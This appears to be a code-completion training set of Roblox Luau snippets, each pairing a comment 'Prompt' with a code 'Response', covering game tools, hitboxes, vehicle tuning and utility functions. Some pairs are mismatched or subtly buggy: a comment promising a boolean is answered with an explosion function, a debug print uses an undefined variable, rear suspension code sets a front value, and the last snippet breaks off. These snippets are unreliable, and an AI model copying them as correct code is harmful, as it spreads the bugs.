local Timers = require(script.Timers)
local WeakMap = require(script.WeakMap)

export type Array<T> = Array.Array<T>
export type AssertionError = AssertionError.AssertionError
export type Error = Error.Error
export type Map<T, V> = mapModule.Map<T, V>
export type Object = Object.Object

export type PromiseLike<T> = PromiseModule.PromiseLike<T>
export type Promise<T> = PromiseModule.Promise<T>

export type Set<T> = Set.Set<T>
export type Symbol = Symbol.Symbol
export type Timeout = Timers.Timeout
export type Interval = Timers.Interval
export type WeakMap<T, V> = WeakMap.WeakMap<T, V>

return {
	Array = Array,
	AssertionError = AssertionError,
	Boolean = require(script.Boolean),
	console = require(script.console),
	Error = Error,
	extends = require(script.extends),
	instanceof = require(script.instanceof),
	Math = require(script.Math),
	Number = require(script.Number),
	Object = Object,
	Map = mapModule.Map,
	coerceToMap = mapModule.coerceToMap,
	coerceToTable = mapModule.coerceToTable,
	Set = Set,
	WeakMap = WeakMap,
	String = require(script.String),
	Symbol = Symbol,
	setTimeout = Timers.setTimeout,
	clearTimeout = Timers.clearTimeout,
	setInterval = Timers.setInterval,
	clearInterval = Timers.clearInterval,
	util = require(script.util),
}


Prompt:
--[[**
		creates a union type

		@param ... The checks to union

		@returns A function that will return true iff the condition is passed
	**--]]

Response:
	function t.union(...)
		local checks = { ... }
		assert(callbackArray(checks))

		return function(value)
			for _, check in ipairs(checks) do
				if check(value) then
					return true
				end
			end

			return false, "bad type for union"
		end
	end


Prompt: -- Setup Remote Events

Response:
local function createEvent(eventName)
	local event = game.ReplicatedStorage:FindFirstChild(eventName)
	if not event then
		event = Instance.new("RemoteEvent", game.ReplicatedStorage)
		event.Name = eventName
	end
	return event
end
local updateEvent = createEvent("ROBLOX_PistolUpdateEvent")
local equipEvent = createEvent("ROBLOX_PistolEquipEvent")
local unequipEvent = createEvent("ROBLOX_PistolUnequipEvent")
local fireEvent = createEvent("ROBLOX_PistolFireEvent")
local reloadEvent = createEvent("ROBLOX_PistolReloadEvent")


Prompt: -- Waits for parent.child to exist, then returns it

Response:
local function WaitForChild(parent, childName)
	assert(parent, "ERROR: WaitForChild: parent is nil")
	while not parent:FindFirstChild(childName) do print(child) wait(1/30) end
	return parent[childName]
end


Prompt:
----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does

Response: local Damage = 6


Prompt: -- The currently idle thread to run the next handler on

Response: local freeRunnerThread = nil


Prompt: --- LED script by Telamon. Direct questions to the creations forum.

Response: local d = script.Parent


Prompt:
--[=[
	@return string
	Returns a unique render name for every call, which can
	be used with the `BindToRenderStep` method optionally.

	```lua
	shake:BindToRenderStep(Shake.NextRenderName(), ...)
	```
]=]

Response:
function Shake.NextRenderName(): string
	renderId += 1
	return ("__shake_%.4i__"):format(renderId)
end


Prompt: --Internal interface

Response:
local function OnInputEnded(self)
	--Reset button
	self.button.ImageColor3 = released_col
	if not self.enabled then
		self.button.Active = false
	end

	--Reset input state
	self.pressed = false
	self.move_touch_input = nil
end


Prompt: --print(animName .. " * " .. idx .. " [" .. origRoll .. "]")

Response:
local anim = animTable[animName][idx].anim
if (toolAnimInstance ~= anim) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end


Prompt: --// EDIT THIS SECTION IF DESIRED

Response:
local sens = 0.95 --sensitivity (changes Gs too)

local min = 0.25 --min Gs for it to work

local max = 10 --max Gs, will NOT exceed this number


Prompt:
--[[
    Returns a promise for a function which may yield. wrapAsync calls the
    the function in a coroutine and resolves with the output of the function
    after any asynchronous actions, and rejects if the function throws an error.
]]

Response:
function AsyncUtils.wrapAsync(fn)
	assert(type(fn) == "function")
	return Promise.new(
		function(resolve, reject)
			coroutine.wrap(
				function()
					local ok, result = pcall(fn)
					if ok then
						resolve(result)
					else
						reject(result)
					end
				end
			)()
		end
	)
end


Prompt:
--[[
____________________________________________________________________________________________________________________________________________________________________________

	If you have any questions, feel free to message me on DevForum. Credits not neccessary but is appreciated.

	[ How To Use - Quick Start Guide ]

		1. Insert Attachments to places where you want your "hitbox" to be. For swords, I like to have attachments 1 stud apart and strung along the blade.
		2. Name those Attachments "DmgPoint" (so the script knows). You can configure what name the script will look for in the variables below.
		3. Open up a script. As an example, maybe we have a sword welded to the character or as a tool. Require this, and initialize:

				* Example Code

					local Damage = 10
					local Hitbox = RaycastHitbox.new(Character)

					Hitbox.OnHit:Connect(function(hit, humanoid)
						print(hit.Name)
						humanoid:TakeDamage(Damage)
					end)

					Hitbox:HitStart() --- Turns on the hitbox
					wait(10) --- Waits 10 seconds
					Hitbox:HitStop() --- Turns off the hitbox

		4. Profit. Refer to the API below for more information.

____________________________________________________________________________________________________________________________________________________________________________

	[ RaycastHitBox API ]

		* local RaycastHitbox = require(RaycastHitboxV4) ---Duh
				--- To use, insert this at the top of your scripts or wherever.

			[ FUNCTIONS ]

		* RaycastHitbox.new(Instance model | BasePart | nil)
				Description
					--- Preps the model and recursively finds attachments in it so it knows where to shoot rays out of later. If a hitbox exists for this
					--- object already, it simply returns the same hitbox.
				Arguments
					--- Instance:  (Like your character, a sword model, etc). Can be left nil in case you want an empty Hitbox or use SetPoints later
				Returns
					Instance HitboxObject

		* RaycastHitModule:GetHitbox(Instance model)
				Description
					--- Gets the HitboxObject if it exists.
				Returns
					--- HitboxObject if found, else nil

		* HitboxObject:SetPoints(Instance BasePart | Bone, table vectorPoints, string group)
				Description
					--- Merges existing Hitbox points with new Vector3 values relative to a part/bone position. This part can be a descendent of your original Hitbox model or
						can be an entirely different instance that is not related to the hitbox (example: Have a weapon with attachments and you can then add in more vector3
						points without instancing new attachments, great for dynamic hitboxes)
				Arguments
					--- Instance BasePart | Bone: Sets the part/bone that these vectorPoints will move in relation to the part's origin using Vector3ToWorldSpace
					--- table vectorPoints: Table of vector3 values.
					--- string group: optional group parameter

		* HitboxObject:RemovePoints(Instance BasePart | Bone, table vectorPoints)
				Description
					--- Remove given Vector3 values provided the part was the same as the ones you set in SetPoints
				Arguments
					--- Instance BasePart | Bone: Sets the part that these vectorPoints will be removed from in relation to the part's origin using Vector3ToWorldSpace
					--- table vectorPoints: Table of vector3 values.

		* HitboxObject:LinkAttachments(Instance attachment1, Instance attachment2)
				Description
					--- Set two attachments to be in a link. The Raycast module will raycast between these two points.
				Arguments
					--- Instance attachment1/attachment2: Attachment objects

		* HitboxObject:UnlinkAttachments(Instance attachment1)
				Description
					--- Removes the link of an attachment. Only needs the primary attachment (argument 1 of LinkAttachments) to work. Will automatically sever the connection
						to the second attachment.
				Arguments
					--- Instance attachment1: Attachment object

		* HitboxObject:HitStart(seconds)
				Description
					--- Starts drawing the rays. Will only damage the target once. Call HitStop to reset the target pool so you can damage the same targets again.
						If HitStart hits a target(s), OnHit event will be called.
				Arguments
					--- number seconds: Optional numerical value, the hitbox will automatically turn off after this amount of time has elapsed

		* HitboxObject:HitStop()
				Description
					--- Stops drawing the rays and resets the target pool. Will do nothing if no rays are being drawn from the initialized model.

		* HitboxObject.OnHit:Connect(returns: Instance part, returns: Instance humanoid, returns: RaycastResults, returns: String group)
				Description
					--- If HitStart hits a fresh new target, OnHit returns information about the hit target
				Arguments
					--- Instance part: Returns the part that the rays hit first
					--- Instance humanoid: Returns the Humanoid object
					--- RaycastResults RaycastResults: Returns information about the last raycast results
					--- String group: Returns information on the hitbox's group

		* HitboxObject.OnUpdate:Connect(returns: Vector3 position)
				Description
					--- This fires every frame, for every point, returning a Vector3 value of its last position in space. Do not use expensive operations in this function.

			[ PROPERTIES ]

		* HitboxObject.RaycastParams: RaycastParams
				Description
					--- Takes in a RaycastParams object

		* HitboxObject.Visualizer: boolean
				Description
					--- Turns on or off the debug rays for this hitbox

		* HitboxObject.DebugLog: boolean
				Description
					--- Turns on or off output writing for this hitbox

		* HitboxObject.DetectionMode: number [1 - 3]
				Description
					--- Defaults to 1. Refer to DetectionMode subsection below for more information

			[ DETECTION MODES ]

		* RaycastHitbox.DetectionMode.Default
				Description
					--- Checks if a humanoid exists when this hitbox touches a part. The hitbox will not return humanoids it has already hit for the duration
					--- the hitbox has been active.

		* RaycastHitbox.DetectionMode.PartMode
				Description
					--- OnHit will return every hit part (in respect to the hitbox's RaycastParams), regardless if it's ascendant has a humanoid or not.
					--- OnHit will no longer return a humanoid so you will have to check it. The hitbox will not return parts it has already hit for the
					--- duration the hitbox has been active.

		* RaycastHitbox.DetectionMode.Bypass
				Description
					--- PERFORMANCE MAY SUFFER IF THERE ARE A LOT OF PARTS. Use only if necessary.
					--- Similar to PartMode, the hitbox will return every hit part. Except, it will keep returning parts even if it has already hit them.
					--- Warning: If you have multiple raycast or attachment points, each raycast will also call OnHit. Allows you to create your own
					--- filter system.

____________________________________________________________________________________________________________________________________________________________________________

--]]


Prompt: --[[ http://coffeescript.org/ ]]

Response:
 --
local coffee = script.Parent;
local drinking = false

coffee.Equipped:connect(function()
	coffee.Handle.OpenSound:Play()
end)

coffee.Activated:connect(function()
	if drinking then
		return
	end

	drinking = true
	coffee.GripForward = Vector3.new(0,-.759,-.651)
	coffee.GripPos = Vector3.new(1.5,-.5,.3)
	coffee.GripRight = Vector3.new(1,0,0)
	coffee.GripUp = Vector3.new(0,.651,-.759)

	coffee.Handle.DrinkSound:Play()

	wait(2)

	coffee.Parent.Humanoid.Health = coffee.Parent.Humanoid.Health + 100
	restPos()

	drinking = false
end)

coffee.Unequipped:connect(function()
	restPos()
	coffee.Handle.DrinkSound:Stop()
	drinking = false
end)

function restPos()
	coffee.GripForward = Vector3.new(-.976,0,-0.217)
	coffee.GripPos = Vector3.new(0.03,0,0)
	coffee.GripRight = Vector3.new(.217,0,-.976)
	coffee.GripUp = Vector3.new(0,1,0)
end


Prompt:
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder

]]

Response:
--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1)
	local u2 = false;
	local function u3(p2)
		if u2 then
			return;
		end;
		for v1, v2 in pairs(p2) do
			if u2 then
				return;
			end;
			if type(v2) == "userdata" then
				u2 = true;
				return;
			end;
			if type(v1) == "userdata" then
				u2 = true;
				return;
			end;
			if type(v2) == "table" then
				u3(v2);
			end;
		end;
	end;
	u3(p1);
	return false;
end;


Prompt: -- Script Code --

Response:
while true do
	wait(0.01)
	Image.Rotation = Image.Rotation + Speed
end


Prompt:
--[[
	Shorthand for a finally handler that returns the given value.
]]

Response:
function Promise.prototype:finallyReturn(...)
	local length, values = pack(...)
	return self:_finally(debug.traceback(nil, 2), function()
		return unpack(values, 1, length)
	end)
end


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .1		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .1		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt:
--[=[
	@within TableUtil
	@function Keys
	@param tbl table
	@return table

	Returns an array with all the keys in the table.

	```lua
	local t = {A = 10, B = 20, C = 30}
	local keys = TableUtil.Keys(t)
	print(keys) --> {"A", "B", "C"}
	```

	:::caution Ordering
	The ordering of the keys is never guaranteed. If order is imperative, call
	`table.sort` on the resulting `keys` array.
	```lua
	local keys = TableUtil.Keys(t)
	table.sort(keys)
	```
]=]

Response:
local function Keys<K, V>(tbl: { [K]: V }): { K }
	local keys = table.create(#tbl)
	for k in tbl do
		table.insert(keys, k)
	end
	return keys
end


Prompt: -- Objects

Response:
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")

local Interface = PlayerGui:WaitForChild("UserInterface")
local Options = Interface.MainMeta.Content.Options


Prompt: --// Functions

Response:
function MakeFakeArms()
	Arms = Instance.new("Model")
	Arms.Name = "Arms"
	Arms.Parent = L_5_

	local L_172_ = Instance.new("Humanoid")
	L_172_.MaxHealth = 0
	L_172_.Health = 0
	L_172_.Name = ""
	L_172_.Parent = Arms

	if L_3_:FindFirstChild("Shirt") then
		local L_177_ = L_3_:FindFirstChild("Shirt"):clone()
		L_177_.Parent = Arms
	end

	local L_173_ = L_3_:FindFirstChild("Right Arm"):clone()
	for L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do
		if L_179_forvar2:IsA('Motor6D') then
			L_179_forvar2:Destroy()
		end
	end
	L_173_.Name = "Right Arm"
	L_173_.FormFactor = "Custom"
	L_173_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_173_.Transparency = 0.0

	local L_174_ = Instance.new("Motor6D")
	L_174_.Part0 = L_173_
	L_174_.Part1 = L_3_:FindFirstChild("Right Arm")
	L_174_.C0 = CFrame.new()
	L_174_.C1 = CFrame.new()
	L_174_.Parent = L_173_
	L_173_.Parent = Arms

	local L_175_ = L_3_:FindFirstChild("Left Arm"):clone()
	L_175_.Name = "Left Arm"
	L_175_.FormFactor = "Custom"
	L_175_.Size = Vector3.new(0.8, 2.5, 0.8)
	L_175_.Transparency = 0.0

	local L_176_ = Instance.new("Motor6D")
	L_176_.Part0 = L_175_
	L_176_.Part1 = L_3_:FindFirstChild("Left Arm")
	L_176_.C0 = CFrame.new()
	L_176_.C1 = CFrame.new()
	L_176_.Parent = L_175_
	L_175_.Parent = Arms
end

function RemoveArmModel()
	if Arms then
		Arms:Destroy()
		Arms = nil
	end
end

local L_135_

function CreateShell()
	L_135_ = time()
	local L_180_ = L_1_.Shell:clone()
	if L_180_:FindFirstChild('Shell') then
		L_180_.Shell:Destroy()
	end
	L_180_.CFrame =  L_1_.Chamber.CFrame
	L_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
	L_180_.RotVelocity = Vector3.new(-10,40,30)
	L_180_.Parent = L_101_
	L_180_.CanCollide = false
	game:GetService("Debris"):addItem(L_180_, 1)
	delay(0.5, function()
		if L_19_:FindFirstChild('ShellCasing') then
			local L_181_ = L_19_.ShellCasing:clone()
			L_181_.Parent = L_2_.PlayerGui
			L_181_:Play()
			game:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength)
		end
	end)
end


Prompt: --// Tracer Vars

Response:
	TracerTransparency = 0;
	TracerLightEmission = 1;
	TracerTextureLength = 0.01;
	TracerLifetime = 0.05;
	TracerFaceCamera = true;
	TracerColor = BrickColor.new('Really red');


Prompt: -- 3D TextGen

Response:
This = script.Parent
Btn = This.Parent
Lift = Btn.Parent.Parent.Parent
Config = require(Lift.Settings)
Characters = require(script.Characters)

CustomLabel = Config["CUSTOMFLOORLABEL"][tonumber(Btn.Name:sub(4))]

function ChangeFloor(SF)
	if string.len(SF) == 1 then
		SetLabel(1,SF,-0.03)
		SetLabel(2,"NIL",0)
	else
		SetLabel(1,SF:sub(1,1),0)
		SetLabel(2,SF:sub(2,2),0)
	end
end

function SetLabel(ID,CHAR,OFFSET)
	if This:FindFirstChild("L"..ID) and Characters[CHAR] ~= nil then
		This["L"..ID].Mesh.Offset = Vector3.new(OFFSET, -0.004, 0)
		for i,l in pairs(Characters[CHAR]) do
			This["L"..ID].Mesh.MeshId = "rbxassetid://"..l
		end
	end
end

if CustomLabel then
	ChangeFloor(CustomLabel)
else
	ChangeFloor(Btn.Name:sub(4))
end

script:Destroy()


Prompt: --- Queues the hitbox to be destroyed in the next frame

Response:
function Hitbox:Destroy()
	self.HitboxPendingRemoval = true

	if self.HitboxObject then
		CollectionService:RemoveTag(self.HitboxObject, self.Tag)
	end

	self:HitStop()
	self.OnHit:Destroy()
	self.OnUpdate:Destroy()
end


Response:
This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Lift:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end

function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do
			for r=1,16 do
				This.Display["DIG"..ID]["D"..r].BrickColor = (l:sub(r,r) == "1" and BrickColor.new(ActiveColour) or BrickColor.new(InactiveColour))
				This.Display["DIG"..ID]["D"..r].Material = (l:sub(r,r) == "1" and "Neon" or "SmoothPlastic")
			end
		end
	end
end


Prompt:
-- 	local function getPropertyWin32(_target: unknown, key: any)
-- 		if typeof(key) == "string" then
-- 			return lookup[tostring((function()
-- 				if Array.indexOf(Object.keys(proto), tostring(key)) ~= -1 then
-- 					return key
-- 				else
-- 					return key:lower()
-- 				end
-- 			end)())]
-- 		else
-- 			return real[tostring(key)]
-- 		end
-- 	end


Prompt:
--[[
	Picks certain keys out of a table and place them into a new table.

	Parameters:
	- t (table): table to pick keys from
	- keys (string[]): list of keys to pick from the table

	Returns:
	- picked (table): table containing all picked values
	- rest (table): table containing all other values from initial table
]]

Response:
return function(t, keys)
	local picked, rest = {}, {}
	for _, key in ipairs(keys) do
		picked[key] = t[key]
	end

	for key, value in pairs(t) do
		if picked[key] ~= nil then
			continue
		end

		rest[key] = value
	end

	return picked, rest
end


Prompt: --!strict

Response:
local uint64_t = require(script.Parent.uint64_t)
local diy_fp = require(script.Parent.diy_fp)
local cached_power = require(script.Parent.cached_power)
local ieee =require(script.Parent.ieee)
local grisu3 = { }

local function round_weed(
	buffer: { number }, length: number,
	distance_too_high_w0: number, distance_too_high_w1: number,
	unsafe_interval0: number, unsafe_interval1: number,
	rest0: number, rest1: number,
	ten_kappa0: number, ten_kappa1: number,
	unit0: number, unit1: number
): boolean
	local small_distance0, small_distance1 =
		uint64_t.sub(
			distance_too_high_w0, distance_too_high_w1, unit0, unit1
		)
	local big_distance0, big_distance1 =
		uint64_t.add(
			distance_too_high_w0, distance_too_high_w1, unit0, unit1
		)
	while uint64_t.compare(rest0, rest1, small_distance0, small_distance1) < 0
		and uint64_t.compare(
			ten_kappa0, ten_kappa1, uint64_t.sub(
				unsafe_interval0, unsafe_interval1,
				rest0, rest1
			)
		) <= 0
	do
		local sd0, sd1 =
			uint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)
		sd0, sd1 = uint64_t.sub(sd0, sd1, small_distance0, small_distance1)
		if uint64_t.compare(
			small_distance0, small_distance1,
			uint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)) <= 0
				and uint64_t.compare(sd0, sd1,
					uint64_t.sub(small_distance0, small_distance1,
						rest0, rest1)) > 0 then
			break
		end
		buffer[length] -= 1
		rest0, rest1 =
			uint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)
	end

	if uint64_t.compare(rest0, rest1, big_distance0, big_distance1) < 0
		and uint64_t.compare(
			ten_kappa0, ten_kappa1, uint64_t.sub(
				unsafe_interval0, unsafe_interval1,
				rest0, rest1
			)
		) <= 0
	then
		local sd0, sd1 =
			uint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)
		sd0, sd1 = uint64_t.sub(sd0, sd1, big_distance0, big_distance1)
		local t0, t1 = uint64_t.sub(big_distance0, big_distance1,
			rest0, rest1)
		if uint64_t.compare(
			big_distance0, big_distance1,
			uint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)) > 0
				or uint64_t.compare(sd0, sd1,
					uint64_t.sub(big_distance0, big_distance1,
						rest0, rest1)) < 0
		then
			return false
		end
	end

	return uint64_t.compare(rest0, rest1, uint64_t.sal(unit0, unit1, 1)) >= 0
		and uint64_t.compare(
			rest0, rest1,
			uint64_t.sub(
				unsafe_interval0, unsafe_interval1,
				uint64_t.sal(unit0, unit1, 2)
			)
		) <= 0
end

local small_powers_of_ten = { [0] = 0,
	1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000,
	1000000000 }
local function biggest_power_10(val: number, val_bits: number): (number, number)
	local exponent_plus_one_guess =
		bit32.rshift((val_bits + 1) * 1233, 12) + 1
	if val < small_powers_of_ten[exponent_plus_one_guess] then
		exponent_plus_one_guess -= 1
	end
	return
		small_powers_of_ten[exponent_plus_one_guess],
		exponent_plus_one_guess
end

local function digit_gen(
	low_sigt0: number, low_sigt1: number, low_expt: number,
	w_sigt0: number, w_sigt1: number, w_expt: number,
	high_sigt0: number, high_sigt1: number, high_expt: number
): (boolean, { number }, number, number)
	local unit0, unit1 = 1, 0
	local too_low_sigt0, too_low_sigt1 = uint64_t.sub(low_sigt0, low_sigt1, unit0)
	local too_high_sigt0, too_high_sigt1 = uint64_t.add(high_sigt0, high_sigt1, unit0)

	local unsafe_interval0, unsafe_interval1 =
		uint64_t.sub(
			too_high_sigt0, too_high_sigt1,
			too_low_sigt0, too_low_sigt1
		)

	local one0, one1 = uint64_t.sal(1, 0, -w_expt)
	local one_decr0, one_decr1 = uint64_t.sub(one0, one1, 1)
	local frac0, frac1 =
		bit32.band(too_high_sigt0, one_decr0),
		bit32.band(too_high_sigt1, one_decr1)
	local intg = uint64_t.sal(too_high_sigt0, too_high_sigt1, w_expt)
	local divisor, divisor_exponent_plus_one =
		biggest_power_10(intg, 64 + w_expt)

	local kappa = divisor_exponent_plus_one
	local length = 0

	local buffer = table.create(17)
	while kappa > 0 do
		length += 1
		buffer[length] = math.floor(intg / divisor)
		intg %= divisor
		kappa -= 1

		local rest0, rest1 =
			uint64_t.add(frac0, frac1, uint64_t.sal(intg, 0, -w_expt))

		if uint64_t.compare(rest0, rest1,
			unsafe_interval0, unsafe_interval1) < 0 then
			local dth0, dth1 = uint64_t.sub(
				too_high_sigt0, too_high_sigt1, w_sigt0, w_sigt1)
			local ten_kappa0, ten_kappa1 = uint64_t.sal(divisor, 0, -w_expt)
			return round_weed(
				buffer, length, dth0, dth1,
				unsafe_interval0, unsafe_interval1,
				rest0, rest1,
				ten_kappa0, ten_kappa1,
				unit0, unit1
			), buffer, length, kappa
		end
		divisor /= 10
	end

	while true do
		frac0, frac1 = uint64_t.mul(frac0, frac1, 10, 0)
		unit0, unit1 = uint64_t.mul(unit0, unit1, 10, 0)
		unsafe_interval0, unsafe_interval1 =
			uint64_t.mul(unsafe_interval0, unsafe_interval1, 10, 0)

		length += 1
		buffer[length] = uint64_t.sal(frac0, frac1, w_expt)
		frac0, frac1 =
			bit32.band(frac0, one_decr0), bit32.band(frac1, one_decr1)
		kappa -= 1
		if uint64_t.compare(
			frac0, frac1, unsafe_interval0,
			unsafe_interval1) < 0 then
			local dth0, dth1 = uint64_t.mul(
				unit0, unit1,
				uint64_t.sub(
					too_high_sigt0, too_high_sigt1,
					w_sigt0, w_sigt1
				)
			)
			return round_weed(
				buffer, length,
				dth0, dth1,
				unsafe_interval0, unsafe_interval1,
				frac0, frac1,
				one0, one1,
				unit0, unit1
			), buffer, length, kappa
		end
	end
end

return function(val): ({ number }?, number?, number?)
	local w_sigt0: number, w_sigt1: number, w_expt: number = diy_fp.create_normalized(val)
	local
	boundary_minus_sigt0, boundary_minus_sigt1, boundary_minus_expt,
	boundary_plus_sigt0, boundary_plus_sigt1, boundary_plus_expt =
		ieee.normalized_boundaries(diy_fp.create(val))

	-- per double-conversion/fast-dtoa.cc:
	-- cached power of ten: 10^-k
	local ten_mk_sigt0, ten_mk_sigt1, ten_mk_expt, mk
		= cached_power.bin_expt_range(-60 - (w_expt + 64))

	-- exponent = w_expt + 64
	local scaled_w_sigt0, scaled_w_sigt1 =
		diy_fp.mul128(w_sigt0, w_sigt1, ten_mk_sigt0, ten_mk_sigt1)

	local scaled_boundary_minus_sigt0, scaled_boundary_minus_sigt1 =
		diy_fp.mul128(
			boundary_minus_sigt0, boundary_minus_sigt1,
			ten_mk_sigt0, ten_mk_sigt1
		)

	local scaled_boundary_plus_sigt0, scaled_boundary_plus_sigt1 =
		diy_fp.mul128(
			boundary_plus_sigt0, boundary_plus_sigt1,
			ten_mk_sigt0, ten_mk_sigt1
		)

	local result, buffer, length, kappa = digit_gen(
		scaled_boundary_minus_sigt0, scaled_boundary_minus_sigt1,
		boundary_minus_expt + ten_mk_expt + 64,

		scaled_w_sigt0, scaled_w_sigt1, w_expt + ten_mk_expt + 64,
		scaled_boundary_plus_sigt0, scaled_boundary_plus_sigt1,

		boundary_plus_expt + ten_mk_expt + 64
	)

	if result then
		return buffer, length, -mk + kappa
	end

	-- fallback
	return nil
end


Prompt: --use this to determine if you want this human to be harmed or not, returns boolean

Response:
function boom()
	wait(2)
	Used = true
	Object.Anchored = true
	Object.CanCollide = false
	Object.Sparks.Enabled = false
	Object.Orientation = Vector3.new(0,0,0)
	Object.Transparency = 1
	Object.Fuse:Stop()
	Object.Explode:Play()
	Object.Dist:Play()
	Object.Explosion:Emit(100)
	Explode()
end

boom()


Prompt: --Electrons--

Response:
local function AttachParticleControl(source_part)

	local prtc = nil

	local function Start()
		prtc = script.Electron:clone()
		prtc.Parent = source_part
	end

	local function Update()

	end

	local function Stop()
		if prtc ~= nil then
			prtc:destroy()
			prtc = nil
		end
	end

	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachParticleControl


Prompt:
--[=[
	@within Shake
	@prop FadeInTime number
	How long it takes for the shake to fade in, measured in seconds.

	Defaults to `1`.
]=]


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return {
	Name = "replace",
	Aliases = { "gsub", "//" },
	Description = "Replaces text A with text B",
	Group = "DefaultUtil",
	AutoExec = { "alias \"map|Maps a CSV into another CSV\" replace $1{string|CSV} ([^,]+) \"$2{string|mapped value|Use %1 to insert the element}\"", "alias \"join|Joins a CSV with a specified delimiter\" replace $1{string|CSV} , $2{string|Delimiter}" },
	Args = { {
			Type = "string",
			Name = "Haystack",
			Description = "The source string upon which to perform replacement."
		}, {
			Type = "string",
			Name = "Needle",
			Description = "The string pattern search for."
		}, {
			Type = "string",
			Name = "Replacement",
			Description = "The string to replace matches (%1 to insert matches).",
			Default = ""
		} },
	Run = function(p1, p2, p3, p4)
		return p2:gsub(p3, p4);
	end
};


Prompt: -- the Tool, reffered to here as "Block." Do not change it!

Response: Block = script.Parent.Gear -- You CAN change the name in the quotes "Example Tool"


Prompt: -- Local player

Response:
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")

local waypointFolder = game.Workspace.Waypoints


Response:
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
script.Parent:WaitForChild("Needle")

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)

script.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then
		gearText = "" .. "N" .. ""

	elseif gearText == -1 then gearText = "" .. "R" .. ""
	end
	script.Parent.Gear.Text = "" .. gearText .. ""
	script.Parent.Gear.Font = Enum.Font.RobotoCondensed
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Needle.Rotation = 240 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speed.Text = "" .. math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. ""
end)

wait(.1)

local RPMOFF = RedlineRPM - 100

script.Parent.Parent.Values.RPM.Changed:connect(function()
